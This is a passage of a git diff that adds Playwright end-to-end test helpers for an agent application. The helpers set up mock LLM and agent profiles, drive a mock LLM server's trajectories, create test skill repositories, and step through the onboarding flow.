+    profileName = "mock-llm",
+    model = "openai/mock-test-model",
+    apiKey = "mock-api-key-for-testing",
+    baseUrl = MOCK_LLM_AGENT_URL,
+  }: {
+    profileName?: string;
+    model?: string;
+    apiKey?: string;
+    baseUrl?: string;
+  } = {},
+) {
+  await routeSessionApiKey(page);
+  try {
+    await ensureMockLLMAgentProfile(page.request, profileName);
+  } catch {
+    // The target LLM profile may not exist yet on clean state. In that case the
+    // default agent is already OpenHands, so the LLM settings route stays usable.
+  }
+  await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+  await dismissAnalyticsModal(page);
+  await waitForTestId(page, "add-llm-profile");
+
+  // ── Create the profile, or edit it in place if it already exists ────
+  // Edit rather than delete-and-recreate: once the active agent profile
+  // references this LLM profile (wired below via ensureMockLLMAgentProfile,
+  // #1571), the LLMProfile FK guard rejects deletion and the delete-confirm
+  // modal silently stays open, its backdrop blocking every later click.
+  // Editing in place never deletes the profile (id/name stay stable), so it
+  // sidesteps the FK guard while still converging onto the caller's
+  // requested model/apiKey/baseUrl every time — a prior test in the same run
+  // may have left a same-named profile configured for a *different* model
+  // (e.g. image-upload's vision-capable override), so skipping the write
+  // whenever the profile already exists silently keeps the wrong config.
+  const exists =
+    (await page
+      .getByTestId("profile-row")
+      .filter({ has: page.locator(`span[title="${profileName}"]`) })
+      .count()) > 0;
+  if (exists) {
+    await editProfileViaUI(page, { profileName, model, apiKey, baseUrl });
+  } else {
+    await createProfileViaUI(page, { profileName, model, apiKey, baseUrl });
+  }
+
+  // ── Activate the profile ────────────────────────────────────────────
+  await activateProfileViaUI(page, profileName);
+
+  // ── Point the active agent profile at this LLM profile ──────────────
+  // Conversations launch from the active AGENT profile (#1571), and the home
+  // composer's "LLM ready" gate follows that profile's `llm_profile_ref` — not
+  // the active LLM profile. The seeded "default" agent profile references a
+  // keyless LLM, so activating an LLM profile alone leaves the composer
+  // blocked. Mirror onboarding: wire the "default" agent profile to this key.
+  await ensureMockLLMAgentProfile(page.request, profileName);
+}
+
+/**
+ * Upsert + activate the well-known "default" agent profile so it references the
+ * given LLM profile — the same thing onboarding does for a real user (#1571).
+ *
+ * Reusing the "default" name upserts the seeded profile (its id is preserved on
+ * overwrite) rather than spawning a parallel one.
+ */
+export async function ensureMockLLMAgentProfile(
+  request: APIRequestContext,
+  llmProfileRef = "mock-llm",
+) {
+  const name = "default";
+  const headers = {
+    "X-Session-API-Key": SESSION_API_KEY,
+    "Content-Type": "application/json",
+  };
+
+  const saveResp = await retryOnTransient(
+    request,
+    "POST",
+    `${BACKEND_URL}/api/agent-profiles/${encodeURIComponent(name)}`,
+    {
+      headers,
+      // disabled_skills omitted: an OpenHands profile launches with all
+      // discovered skills by default (an empty deny-list) — software-agent-sdk#4017.
+      data: {
+        agent_kind: "openhands",
+        llm_profile_ref: llmProfileRef,
+      },
+    },
+  );
+  expect(
+    saveResp.ok(),
+    `save agent profile "${name}": ${saveResp.status()}`,
+  ).toBe(true);
+
+  // Activate needs the stable id; the save response only echoes the name.
+  const detailResp = await retryOnTransient(
+    request,
+    "GET",
+    `${BACKEND_URL}/api/agent-profiles/${encodeURIComponent(name)}`,
+    { headers },
+  );
+  expect(
+    detailResp.ok(),
+    `get agent profile "${name}": ${detailResp.status()}`,
+  ).toBe(true);
+  const id = (await detailResp.json())?.profile?.id as string | undefined;
+  expect(id, `agent profile "${name}" id`).toBeTruthy();
+
+  const activateResp = await retryOnTransient(
+    request,
+    "POST",
+    `${BACKEND_URL}/api/agent-profiles/${encodeURIComponent(id!)}/activate`,
+    { headers, data: {} },
+  );
+  expect(
+    activateResp.ok(),
+    `activate agent profile "${name}": ${activateResp.status()}`,
+  ).toBe(true);
+}
+
+/**
+ * Create a new LLM profile through the Settings UI.
+ *
+ * Assumes the page is already on /settings/llm with profiles loaded
+ * (the "add-llm-profile" button is visible).  Does NOT activate the
+ * profile — call `activateProfileViaUI` separately if needed.
+ */
+/**
+ * Fill the LLM profile editor's fields and save. Shared by the create flow
+ * ("Add LLM Profile") and the edit flow ("Edit" on an existing row) — both
+ * land on the same editor form/testids.
+ */
+async function fillLlmProfileEditorAndSave(
+  page: Page,
+  {
+    profileName,
+    model,
+    apiKey = "mock-api-key-for-testing",
+    baseUrl = MOCK_LLM_AGENT_URL,
+  }: {
+    profileName: string;
+    model: string;
+    apiKey?: string;
+    baseUrl?: string;
+  },
+) {
+  await waitForTestId(page, "profile-editor-title");
+
+  const nameInput = page.getByTestId("profile-name-input");
+  await nameInput.click();
+  await nameInput.fill(profileName);
+
+  // Switch to "All" view so base_url is visible
+  await page.getByTestId("sdk-section-all-toggle").click();
+  await waitForTestId(page, "llm-settings-form-advanced");
+
+  const modelInput = page.getByTestId("llm-custom-model-input");
+  await modelInput.click();
+  await modelInput.fill(model);
+
+  const baseUrlInput = page.getByTestId("base-url-input");
+  await baseUrlInput.click();
+  await baseUrlInput.fill(baseUrl);
+
+  const apiKeyInput = page.getByTestId("llm-api-key-input");
+  await apiKeyInput.click();
+  await apiKeyInput.fill(apiKey);
+
+  const saveButton = page.getByTestId("save-profile-btn");
+  if (await saveButton.isEnabled()) {
+    await saveButton.click();
+  } else {
+    await page.getByTestId("back-to-profiles").click();
+  }
+  await waitForTestId(page, "add-llm-profile");
+}
+
+/**
+ * Create a new LLM profile and activate it through the Settings UI.
+ * Assumes the page is already on /settings/llm with profiles loaded.
+ */
+export async function createProfileViaUI(
+  page: Page,
+  options: {
+    profileName: string;
+    model: string;
+    apiKey?: string;
+    baseUrl?: string;
+  },
+) {
+  await page.getByTestId("add-llm-profile").click();
+  await fillLlmProfileEditorAndSave(page, options);
+}
+
+/**
+ * Edit an existing LLM profile's config (model/apiKey/baseUrl) through the
+ * Settings UI. Assumes the page is already on /settings/llm with profiles
+ * loaded and a profile named `options.profileName` exists.
+ */
+export async function editProfileViaUI(
+  page: Page,
+  options: {
+    profileName: string;
+    model: string;
+    apiKey?: string;
+    baseUrl?: string;
+  },
+) {
+  const row = page
+    .getByTestId("profile-row")
+    .filter({ has: page.locator(`span[title="${options.profileName}"]`) })
+    .first();
+  await row.getByTestId("profile-menu-trigger").click();
+  await waitForTestId(page, "profile-actions-menu");
+  await page.getByTestId("profile-edit").click();
+  await fillLlmProfileEditorAndSave(page, options);
+}
+
+/**
+ * Delete a profile by name through the Settings UI if it exists.
+ * Assumes the page is already on /settings/llm with profiles loaded.
+ */
+export async function deleteProfileIfExists(page: Page, profileName: string) {
+  // Use the profile name span's `title` attribute for exact matching
+  // to avoid substring collisions (e.g. "mock-llm" vs "mock-llm-e2e").
+  const row = page
+    .getByTestId("profile-row")
+    .filter({ has: page.locator(`span[title="${profileName}"]`) })
+    .first();
+  if ((await row.count()) === 0) return;
+
+  await row.getByTestId("profile-menu-trigger").click();
+  await waitForTestId(page, "profile-actions-menu");
+  const deleteBtn = page.getByTestId("profile-delete");
+  if (await deleteBtn.isVisible()) {
+    await deleteBtn.click();
+    // Confirm the deletion dialog (test ID: delete-profile-confirm)
+    const confirmBtn = page.getByTestId("delete-profile-confirm");
+    await confirmBtn.waitFor({ state: "visible", timeout: 5_000 });
+    await confirmBtn.click();
+    // The profile list remains visible behind the modal, so merely waiting for
+    // `add-llm-profile` does not prove the delete mutation has finished. Wait
+    // for both the modal and the exact row to disappear before a caller tries
+    // to delete or create another profile.
+    await expect(confirmBtn).toBeHidden({ timeout: 30_000 });
+    await expect(row).toHaveCount(0, { timeout: 30_000 });
+    await waitForTestId(page, "add-llm-profile");
+  } else {
+    await page.keyboard.press("Escape");
+  }
+}
+
+/**
+ * Activate a profile by name through the Settings UI.
+ * Assumes the page is already on /settings/llm with profiles loaded.
+ * Retries the "Set active" gesture until the "Active" badge appears on the row.
+ */
+export async function activateProfileViaUI(page: Page, profileName: string) {
+  const row = page
+    .getByTestId("profile-row")
+    .filter({ has: page.locator(`span[title="${profileName}"]`) })
+    .first();
+
+  // `createProfileViaUI` only waits for the editor to close, not for the new
+  // row to render in the list, so wait for the row explicitly before acting
+  // on it. Skipping this is what let the old poll dead-end: if the row was not
+  // yet in the DOM, the activation gesture below was never attempted.
+  await expect(row).toBeVisible({ timeout: 15_000 });
+
+  const activeBadge = row.getByTestId("profile-active-badge");
+
+  // Retry the open-menu → "Set active" gesture until the badge shows. The badge
+  // updates reactively — `useActivateLlmProfile` invalidates the profiles query
+  // on success, which refetches `active_profile` and re-renders the row — so no
+  // page reload is needed and a dropped click self-heals on the next attempt.
+  //
+  // Every wait inside the block is capped well below the `.toPass` budget: the
+  // failure this heals is a menu that didn't open (dropped click / not-yet-
+  // loaded menu), and `waitForTestId`'s 30s default — plus `click`'s unbounded
+  // `actionTimeout` — would otherwise swallow the whole 30s window in a single
+  // tick, leaving no room to retry the very gesture that flaked.
+  await expect(async () => {
+    if (await activeBadge.isVisible()) return; // already active
+
+    // The menu trigger toggles, so reset any menu left open by a prior attempt
+    // before re-opening — otherwise a retry would close the menu it just opened.
+    await page.keyboard.press("Escape");
+    await row.getByTestId("profile-menu-trigger").click({ timeout: 5_000 });
+    await waitForTestId(page, "profile-actions-menu", 5_000);
+    const setActive = page.getByTestId("profile-set-active");
+    if (await setActive.isEnabled()) {
+      await setActive.click({ timeout: 5_000 });
+    }
+
+    await expect(activeBadge).toBeVisible({ timeout: 5_000 });
+  }).toPass({ timeout: 30_000, intervals: [500, 1_000, 2_000] });
+}
+
+/**
+ * Select an option from a HeroUI Autocomplete dropdown (SettingsDropdownInput).
+ *
+ * HeroUI Autocomplete does NOT forward `data-testid` to the underlying
+ * `<input>`, so we locate the combobox by its `aria-label` (which the
+ * component sets to the label prop or the name prop). We then click to
+ * open the listbox and click the matching option.
+ */
+export async function selectDropdownOption(
+  page: Page,
+  comboboxLabel: string | RegExp,
+  optionText: string | RegExp,
+) {
+  const combobox = page.getByRole("combobox", { name: comboboxLabel });
+  await expect(combobox).toBeVisible({ timeout: 10_000 });
+  await combobox.click();
+  await combobox.fill("");
+  const option = page.getByRole("option", { name: optionText });
+  await expect(option).toBeVisible({ timeout: 5_000 });
+  await option.click();
+}
+
+/**
+ * Open the Settings → Agent profiles editor for a named profile.
+ * Assumes the page can navigate freely (not already mid-flow elsewhere).
+ *
+ * Settings → Agent is now the Agent Profile library (#1571): the standalone
+ * `/settings/agent` form was retired in favor of `/settings/agents`, whose
+ * editor reuses the same embedded `agent-settings-screen` form. Locates the
+ * row by the profile-name span's `title` attribute (mirrors `exactRow` in
+ * `activateProfileViaUI` below) to avoid substring collisions between
+ * profile names.
+ */
+export async function openAgentProfileEditor(page: Page, profileName: string) {
+  await routeSessionApiKey(page);
+  await page.goto("/settings/agents", { waitUntil: "domcontentloaded" });
+  await dismissAnalyticsModal(page);
+
+  const row = page
+    .getByTestId("agent-profile-row")
+    .filter({ has: page.locator(`span[title="${profileName}"]`) })
+    .first();
+  await expect(row).toBeVisible({ timeout: 10_000 });
+  await row.getByTestId("agent-profile-menu-trigger").click();
+  await waitForTestId(page, "agent-profile-actions-menu");
+  await page.getByTestId("agent-profile-edit").click();
+  await waitForTestId(page, "agent-settings-screen");
+}
+
+/**
+ * Reset agent type back to OpenHands through the Settings → Agent profiles UI.
+ * Used in afterAll cleanup to restore the default agent for subsequent tests.
+ */
+export async function resetToOpenHandsAgentViaUI(page: Page) {
+  await openAgentProfileEditor(page, "default");
+
+  await selectDropdownOption(page, /Agent/, /OpenHands/);
+
+  // The LLM-profile selector only appears for openhands-kind profiles, and
+  // is required to save — pick one if the switch left it unset.
+  const llmSelector = page.getByRole("combobox", { name: /LLM/ });
+  if (await llmSelector.isVisible().catch(() => false)) {
+    const value = await llmSelector.inputValue().catch(() => "");
+    if (!value) {
+      await llmSelector.click();
+      await page.getByRole("option").first().click();
+    }
+  }
+
+  const saveBtn = page.getByTestId("save-agent-profile-btn");
+  await expect(saveBtn).toBeEnabled({ timeout: 5_000 });
+  await saveBtn.click();
+  // A successful save returns the editor to the profile list.
+  await waitForTestId(page, "add-agent-profile", 10_000);
+}
+
+/**
+ * Register a named trajectory on the mock LLM server.
+ * Each turn is: { tool_call: { name, arguments } } or { text: "..." }
+ */
+export async function registerTrajectory(
+  request: APIRequestContext,
+  name: string,
+  turns: Array<
+    | {
+        tool_call: {
+          name: string;
+          arguments: Record<string, unknown> | string;
+        };
+      }
+    | { text: string }
+  >,
+) {
+  const resp = await request.post(
+    `${MOCK_LLM_BASE_URL}/admin/trajectory/register`,
+    {
+      data: { name, turns },
+      headers: { "Content-Type": "application/json" },
+    },
+  );
+  expect(resp.ok(), `Register trajectory "${name}": ${resp.status()}`).toBe(
+    true,
+  );
+}
+
+/**
+ * Activate a previously registered named trajectory on the mock LLM server.
+ */
+export async function activateTrajectory(
+  request: APIRequestContext,
+  name: string,
+) {
+  const resp = await request.post(
+    `${MOCK_LLM_BASE_URL}/admin/trajectory/activate`,
+    {
+      data: { name },
+      headers: { "Content-Type": "application/json" },
+    },
+  );
+  expect(resp.ok(), `Activate trajectory "${name}": ${resp.status()}`).toBe(
+    true,
+  );
+}
+
+/**
+ * Reset the mock LLM server to its default trajectory.
+ * Also clears the stored completion-request history.
+ */
+export async function resetMockLLM(request: APIRequestContext) {
+  const resp = await request.post(`${MOCK_LLM_BASE_URL}/admin/reset`);
+  expect(resp.ok(), `Reset mock LLM: ${resp.status()}`).toBe(true);
+}
+
+/**
+ * Fetch all chat-completion request bodies captured by the mock LLM server
+ * since the last /admin/reset.
+ *
+ * The server stores every POST to /v1/chat/completions, so callers can assert
+ * that at least one request contained image content (or any other field).
+ */
+export async function getMockLLMRequests(
+  request: APIRequestContext,
+): Promise<Record<string, unknown>[]> {
+  const resp = await request.get(`${MOCK_LLM_BASE_URL}/admin/requests`);
+  expect(resp.ok(), `GET /admin/requests: ${resp.status()}`).toBe(true);
+  const body = await resp.json();
+  return (body.requests as Record<string, unknown>[]) ?? [];
+}
+
+/**
+ * Set contentEditable chat input text and dispatch an input event.
+ *
+ * contentEditable divs don't respond reliably to Playwright's .fill() or
+ * .type(), so we set the text programmatically via page.evaluate().
+ */
+export async function setChatInput(
+  page: Page,
+  text: string,
+  testId = "chat-input",
+) {
+  // page.evaluate has no auto-waiting: right after a goto with
+  // `domcontentloaded`, the React app can take longer than
+  // dismissAnalyticsModal's give-up window to paint the composer on a
+  // loaded CI runner, and the querySelector below would throw. Wait for
+  // the input the way a locator action would before setting text.
+  await page.getByTestId(testId).waitFor({ state: "visible", timeout: 30_000 });
+  await page.evaluate(
+    ({ tid, inputText }) => {
+      const el = document.querySelector(`[data-testid="${tid}"]`);
+      if (!(el instanceof HTMLElement))
+        throw new Error(`Chat input [data-testid="${tid}"] not found`);
+      el.focus();
+      el.textContent = inputText;
+      el.dispatchEvent(
+        new InputEvent("input", {
+          bubbles: true,
+          data: inputText,
+          inputType: "insertText",
+        }),
+      );
+    },
+    { tid: testId, inputText: text },
+  );
+}
+
+// ═══════════════════════════════════════════════════════════════════════
+// Partial-stack mode ports (frontend-only / backend-only tests)
+// ═══════════════════════════════════════════════════════════════════════
+
+export const FRONTEND_ONLY_INGRESS_PORT =
+  process.env.MOCK_LLM_FE_ONLY_PORT ?? "18310";
+export const FRONTEND_ONLY_URL = `http://localhost:${FRONTEND_ONLY_INGRESS_PORT}`;
+
+export const BACKEND_ONLY_INGRESS_PORT =
+  process.env.MOCK_LLM_BE_ONLY_PORT ?? "18320";
+export const BACKEND_ONLY_URL = `http://localhost:${BACKEND_ONLY_INGRESS_PORT}`;
+
+// Mock automation helpers removed — the automation test now hits the real
+// automation backend running inside the bin/agent-canvas.mjs stack.
+
+// ═══════════════════════════════════════════════════════════════════════
+// ACP agent configuration helpers
+// ═══════════════════════════════════════════════════════════════════════
+
+/** Reply token the mock ACP server includes in its responses. */
+export const ACP_REPLY_TOKEN = "MOCK_ACP_E2E_REPLY_OK";
+
+/**
+ * Absolute path to the Python binary for the mock ACP server.
+ *
+ * In CI, ``MOCK_LLM_PYTHON`` is a relative venv path like
+ * ``.mock-llm-venv/bin/python3``. The agent-server spawns the ACP
+ * subprocess from its own CWD (which may differ from the repo root),
+ * so we resolve relative paths to absolute here. Bare executable
+ * names (no directory separator) are left for PATH lookup.
+ */
+export const MOCK_ACP_PYTHON = (() => {
+  const raw = process.env.MOCK_LLM_PYTHON ?? "python3";
+  // Resolve paths containing a directory separator (relative like
+  // ".mock-llm-venv/bin/python3"); leave bare names like "python3"
+  // for PATH lookup.
+  return raw.includes("/") || raw.includes("\\") ? resolve(raw) : raw;
+})();
+
+/**
+ * Absolute path to the mock ACP server script, resolved from the project root.
+ * The agent-server spawns this as a subprocess via ``acp_command``.
+ */
+export const MOCK_ACP_SERVER_PATH = resolve(
+  "tests/e2e/mock-llm/scripts/mock-acp-server.py",
+);
+
+/**
+ * The Python + script path the test types into the ACP command textarea.
+ *
+ * When running the Docker E2E config, the agent-server lives inside a
+ * container where host-filesystem paths don't exist. The Docker config
+ * volume-mounts the mock ACP script and sets ``MOCK_ACP_CONTAINER_*``
+ * env vars with the container-side paths. The npm config leaves those
+ * vars unset, so we fall back to the host-local absolute paths.
+ */
+export const MOCK_ACP_COMMAND_PYTHON =
+  process.env.MOCK_ACP_CONTAINER_PYTHON || MOCK_ACP_PYTHON;
+export const MOCK_ACP_COMMAND_SCRIPT =
+  process.env.MOCK_ACP_CONTAINER_SCRIPT || MOCK_ACP_SERVER_PATH;
+
+/**
+ * @deprecated Use `resetToOpenHandsAgentViaUI(page)` to exercise the UI path.
+ * Kept only for callers that cannot open a page (should not exist in new tests).
+ */
+export async function resetToOpenHandsAgent(request: APIRequestContext) {
+  const resp = await request.patch(`${BACKEND_URL}/api/settings`, {
+    headers: {
+      "X-Session-API-Key": SESSION_API_KEY,
+      "Content-Type": "application/json",
+    },
+    data: {
+      agent_settings_diff: {
+        agent_kind: "openhands",
+      },
+    },
+  });
+  if (!resp.ok()) {
+    console.warn(`[cleanup] Reset to OpenHands failed: ${resp.status()}`);
+  }
+}
diff --git a/tests/e2e/mock-llm/utils/skill-test-helpers.ts b/tests/e2e/mock-llm/utils/skill-test-helpers.ts
new file mode 100644
index 0000000000000000000000000000000000000000..6a8d1d96cf62d72b510adf8933d69a5d18ee8db8
--- /dev/null
+++ b/tests/e2e/mock-llm/utils/skill-test-helpers.ts
@@ -0,0 +1,139 @@
+/**
+ * Helpers for skill loading E2E tests.
+ *
+ * File-system operations (create/remove SKILL.md files) and API
+ * assertions (verify activated_skills on events) are separated here
+ * to avoid type-resolution conflicts between node built-in imports
+ * and @playwright/test types in the same file (TypeScript 6 / Node 24).
+ *
+ * Docker support: When running against a Docker container, the agent-server
+ * filesystem is isolated from the host. The Playwright config sets env vars
+ * for the container-side paths so the test can register the correct paths
+ * with the agent-server while creating files on the host (volume-mounted).
+ */
+
+import { resolve, join } from "path";
+import { mkdirSync, writeFileSync, rmSync, existsSync } from "fs";
+import { execSync } from "child_process";
+import { homedir } from "os";
+
+// ── Paths ────────────────────────────────────────────────────────────
+
+/** STATE_DIR matches playwright.mock-llm.config.ts */
+export const STATE_DIR = resolve(".tmp/mock-llm-state");
+
+/**
+ * Root directory for skill-test workspace git repos (HOST-side).
+ * Each call to `createProjectSkillRepo` creates a self-contained git repo
+ * here with the skill file already committed, so the agent-server's
+ * worktree machinery picks it up (worktrees only contain committed content).
+ */
+export const SKILL_REPOS_DIR = resolve(".tmp/mock-llm-skill-repos");
+
+/**
+ * The path the agent-server sees for skill repos.
+ * In npm mode this is the same as SKILL_REPOS_DIR (same filesystem).
+ * In Docker mode this is the container-side mount point set by the config.
+ */
+export const SKILL_REPOS_AGENT_DIR =
+  process.env.MOCK_LLM_SKILL_REPOS_CONTAINER_DIR ?? SKILL_REPOS_DIR;
+
+/**
+ * User-level skills directory — HOST-side (for file creation/removal).
+ * In Docker mode, we use a local temp dir that is volume-mounted into the
+ * container at the agent-server's expected `~/.openhands/skills/` path.
+ */
+export const USER_SKILLS_DIR = process.env.MOCK_LLM_USER_SKILLS_HOST_DIR
+  ? resolve(process.env.MOCK_LLM_USER_SKILLS_HOST_DIR)
+  : join(homedir(), ".openhands", "skills");
+
+// ── Skill content builders ───────────────────────────────────────────
+
+function makeSkillMd(
+  name: string,
+  trigger: string,
+  description: string,
+): string {
+  return [
+    "---",
+    `name: ${name}`,
+    `description: ${description}`,
+    "triggers:",
+    `- ${trigger}`,
+    "---",
+    "",
+    `This is the ${name} skill content for E2E testing.`,
+    `It should activate when the keyword "${trigger}" appears.`,
+  ].join("\n");
+}
+
+/**
+ * Create a standalone git repo with a project skill committed.
+ *
+ * The agent-server creates a git worktree for each conversation from the
+ * source workspace. Only committed files appear in worktrees, so the skill
+ * must be committed to the repo for `load_project_skills` to find it.
+ *
+ * @returns Object with `hostDir` (absolute host path for file ops) and
+ *          `agentDir` (path the agent-server sees — same in npm mode,
+ *          container-side mount in Docker mode).
+ */
+export function createProjectSkillRepo(
+  name: string,
+  trigger: string,
+  description = "E2E test skill",
+): { hostDir: string; agentDir: string } {
+  const repoDir = join(SKILL_REPOS_DIR, `${name}-repo`);
+  // Start fresh each time
+  rmSync(repoDir, { recursive: true, force: true });
+  mkdirSync(repoDir, { recursive: true });
+
+  // Write the skill file
+  const skillDir = join(repoDir, ".agents", "skills", name);
+  mkdirSync(skillDir, { recursive: true });
+  writeFileSync(
+    join(skillDir, "SKILL.md"),
+    makeSkillMd(name, trigger, description),
+  );
+
+  // Initialize as a git repo and commit
+  const opts = { cwd: repoDir, stdio: "pipe" as const };
+  execSync("git init", opts);
+  execSync('git config user.email "test@test.com"', opts);
+  execSync('git config user.name "Test"', opts);
+  execSync("git add -A", opts);
+  execSync('git commit -m "Add project skill"', opts);
+
+  const hostDir = resolve(repoDir);
+  const agentDir = join(SKILL_REPOS_AGENT_DIR, `${name}-repo`);
+  return { hostDir, agentDir };
+}
+
+/** Remove a project skill repo created by `createProjectSkillRepo`. */
+export function removeProjectSkillRepo(name: string): void {
+  const repoDir = join(SKILL_REPOS_DIR, `${name}-repo`);
+  rmSync(repoDir, { recursive: true, force: true });
+}
+
+export function writeUserSkill(
+  name: string,
+  trigger: string,
+  description = "E2E test user skill",
+): void {
+  const dir = join(USER_SKILLS_DIR, name);
+  mkdirSync(dir, { recursive: true });
+  writeFileSync(join(dir, "SKILL.md"), makeSkillMd(name, trigger, description));
+}
+
+export function removeUserSkill(name: string): void {
+  const dir = join(USER_SKILLS_DIR, name);
+  rmSync(dir, { recursive: true, force: true });
+}
+
+export function userSkillExists(name: string): boolean {
+  return existsSync(join(USER_SKILLS_DIR, name, "SKILL.md"));
+}
+
+export function userSkillDirExists(name: string): boolean {
+  return existsSync(join(USER_SKILLS_DIR, name));
+}
diff --git a/tests/e2e/support/onboarding-helpers.ts b/tests/e2e/support/onboarding-helpers.ts
new file mode 100644
index 0000000000000000000000000000000000000000..28023096bf36ce6da3a8b73ff12c142568f701e7
--- /dev/null
+++ b/tests/e2e/support/onboarding-helpers.ts
@@ -0,0 +1,197 @@
+import { expect, type Page } from "@playwright/test";
+
+export const ONBOARDING_BACKEND_STEP = 0;
+export const ONBOARDING_AGENT_STEP = 1;
+export const ONBOARDING_LLM_STEP = 2;
+export const ONBOARDING_HELLO_STEP = 3;
+
+export type OnboardingStepLayout = {
+  hasBackendStep: boolean;
+  agentStep: number;
+  llmStep: number;
+  helloStep: number;
+};
+
+export async function routeOnboardingLlmCatalog(page: Page) {
+  await page.route("**/api/llm/models/verified", async (route) => {
+    await route.fulfill({
+      status: 200,
+      contentType: "application/json",
+      body: JSON.stringify({
+        models: {
+          anthropic: ["claude-opus-4-8"],
+          openai: ["gpt-5.5", "gpt-6-astra"],
+          openhands: ["claude-opus-4-5-20251101", "kimi-k3", "glm-5.2"],
+        },
+      }),
+    });
+  });
+
+  await page.route("**/api/llm/models", async (route) => {
+    await route.fulfill({
+      status: 200,
+      contentType: "application/json",
+      body: JSON.stringify({
+        models: [
+          "anthropic/claude-opus-4-8",
+          "openai/gpt-5.5",
+          "openhands/claude-opus-4-5-20251101",
+          "openai/gpt-5.6-sol",
+          "openai/gpt-6-astra",
+          "openhands/glm-5.2",
+        ],
+      }),
+    });
+  });
+
+  await page.route("**/api/llm/providers", async (route) => {
+    await route.fulfill({
+      status: 200,
+      contentType: "application/json",
+      body: JSON.stringify({
+        providers: ["anthropic", "openai", "openhands"],
+      }),
+    });
+  });
+}
+
+type ShowOnboardingOptions = {
+  apiKey: string;
+  beforeGoto?: () => Promise<void>;
+};
+
+export async function showOnboarding(
+  page: Page,
+  { apiKey, beforeGoto }: ShowOnboardingOptions,
+) {
+  await page.addInitScript(
+    ({ apiKey: initApiKey }) => {
+      window.localStorage.removeItem("openhands-onboarded");
+      window.localStorage.setItem("analytics-consent", "false");
+      window.localStorage.setItem("openhands-telemetry-consent", "denied");
+      window.localStorage.setItem("openhands-telemetry-first-use", "true");
+      window.localStorage.setItem(
+        "openhands-backends",
+        JSON.stringify([
+          {
+            id: "default-local",
+            name: "Local",
+            host: window.location.origin,
+            apiKey: initApiKey,
+            kind: "local",
+          },
+        ]),
+      );
+      window.localStorage.setItem(
+        "openhands-active-backend",
+        JSON.stringify({ backendId: "default-local", orgId: null }),
+      );
+    },
+    { apiKey },
+  );
+
+  await beforeGoto?.();
+  await routeOnboardingLlmCatalog(page);
+  await page.goto("/", { waitUntil: "domcontentloaded" });
+  await expect(
+    page.getByTestId("onboarding-modal"),
+    "onboarding modal should appear for first-run users",
+  ).toBeVisible({ timeout: 20_000 });
+}
+
+export async function waitForOnboardingStep(page: Page, step: number) {
+  await expect(
+    page.getByTestId("onboarding-slide-rail"),
+    `onboarding slide rail should show step ${step}`,
+  ).toHaveAttribute("data-current-step", String(step), { timeout: 15_000 });
+}
+
+export async function waitForOnboardingBackendConnected(page: Page) {
+  // The mock suites route the backend health probe to deterministic local/MSW
+  // responses. Wait for the connected banner before advancing so the Next
+  // button is enabled without relying on a fixed sleep.
+  await expect(
+    page.getByTestId("onboarding-backend-connected"),
+    "onboarding backend health probe should report connected",
+  ).toBeVisible({ timeout: 10_000 });
+}
+
+export async function waitForOnboardingLlmSettingsReady(page: Page) {
+  await expect(
+    page.locator('input[name="llm-provider-input"]'),
+    "onboarding LLM provider input should be ready",
+  ).toBeVisible({ timeout: 10_000 });
+  await expect(
+    page.locator('input[name="llm-model-input"]'),
+    "onboarding LLM model input should be ready",
+  ).toBeVisible({ timeout: 10_000 });
+}
+
+export async function clickOnboardingStepButton(page: Page, testId: string) {
+  // Snapshot slides are translated and clipped during transitions. In CI,
+  // Playwright can resolve the button as visible but outside the viewport.
+  await page.getByTestId(testId).dispatchEvent("click");
+}
+
+export async function getOnboardingStepLayout(
+  page: Page,
+): Promise<OnboardingStepLayout> {
+  await waitForOnboardingStep(page, ONBOARDING_BACKEND_STEP);
+
+  // Wait for the backend health probe to settle before sampling the layout.
+  // While the probe is in flight the backend slide shows a transient
+  // "checking" banner at step 0. A healthy configured backend then auto-skips
+  // the backend slide (starting the flow on agent selection), while an
+  // unhealthy/unconfigured one keeps it. Sampling during the "checking" window
+  // races that skip: we would wrongly report a backend step that immediately
+  // disappears and then wait forever for a "connected" banner that never
+  // renders. Waiting for "checking" to clear makes the verdict deterministic
+  // regardless of how long the probe takes (e.g. when a spec slows
+  // `/api/settings` via a `route.fetch()` intercept).
+  await expect(
+    page.getByTestId("onboarding-backend-checking"),
+    "onboarding backend health probe should settle before sampling the layout",
+  ).toHaveCount(0, { timeout: 15_000 });
+
+  const hasBackendStep = await page
+    .getByTestId("onboarding-step-check-backend")
+    .isVisible()
+    .catch(() => false);
+
+  return hasBackendStep
+    ? {
+        hasBackendStep: true,
+        agentStep: ONBOARDING_AGENT_STEP,
+        llmStep: ONBOARDING_LLM_STEP,
+        helloStep: ONBOARDING_HELLO_STEP,
+      }
+    : {
+        hasBackendStep: false,
+        agentStep: ONBOARDING_BACKEND_STEP,
+        llmStep: ONBOARDING_AGENT_STEP,
+        helloStep: ONBOARDING_LLM_STEP,
+      };
+}
+
+export async function advanceOnboardingToLlmStep(page: Page) {
+  const layout = await getOnboardingStepLayout(page);
+
+  if (layout.hasBackendStep) {
+    await waitForOnboardingBackendConnected(page);
+    await clickOnboardingStepButton(page, "onboarding-backend-next");
+    await waitForOnboardingStep(page, layout.agentStep);
+  } else {
+    await expect(
+      page.getByTestId("onboarding-step-choose-agent"),
+      "onboarding should start on agent selection when backend is healthy",
+    ).toBeVisible({ timeout: 10_000 });
+  }
+
+  await clickOnboardingStepButton(page, "onboarding-agent-next");
+
+  await waitForOnboardingStep(page, layout.llmStep);
+  await expect(
+    page.getByTestId("onboarding-step-setup-llm"),
+    "onboarding LLM setup step should be visible after advancing",
+  ).toBeVisible({ timeout: 10_000 });
+}